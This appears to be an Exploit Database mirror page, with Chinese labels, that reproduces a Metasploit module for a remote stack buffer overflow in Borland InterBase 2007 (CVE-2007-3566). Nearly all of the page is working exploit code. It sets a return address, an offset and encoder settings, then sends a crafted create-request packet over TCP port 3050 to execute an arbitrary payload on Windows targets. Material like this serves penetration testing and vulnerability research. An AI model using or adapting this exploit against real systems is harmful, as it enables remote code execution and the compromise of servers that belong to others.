Borland Interbase – ‘Create-Request’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-06-15
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16453/

• ##
  # $Id: borland_interbase.rb 9525 2010-06-15 07:18:08Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Borland Interbase Create-Request Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Borland Interbase 2007.
  				By sending a specially crafted create-request packet, a remote
  				attacker may be able to execute arbitrary code.
  			},
  			'Author' => 'MC',
  			'Version'=> '$Revision: 9525 $',
  			'References' =>
  				[
  					[ 'CVE', '2007-3566' ],
  					[ 'OSVDB', '38602' ],
  					[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 850,
  					'BadChars' => "\x00",
  					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
  					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows 2000 English All / Borland InterBase 2007', { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll
  				],
  			'Privileged' => true,
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Jul 24 2007'))
  
  		register_options([Opt::RPORT(3050)], self.class)
  	end
  
  	def exploit
  		connect
  
  		# Build the exploit buffer.... It's a biggie!
  		sploit ="\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])
  		sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
  		sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)
  
  		print_status("Trying target #{target.name}...")
  		sock.put(sploit)
  
  		handler
  		disconnect
  	end
  
  end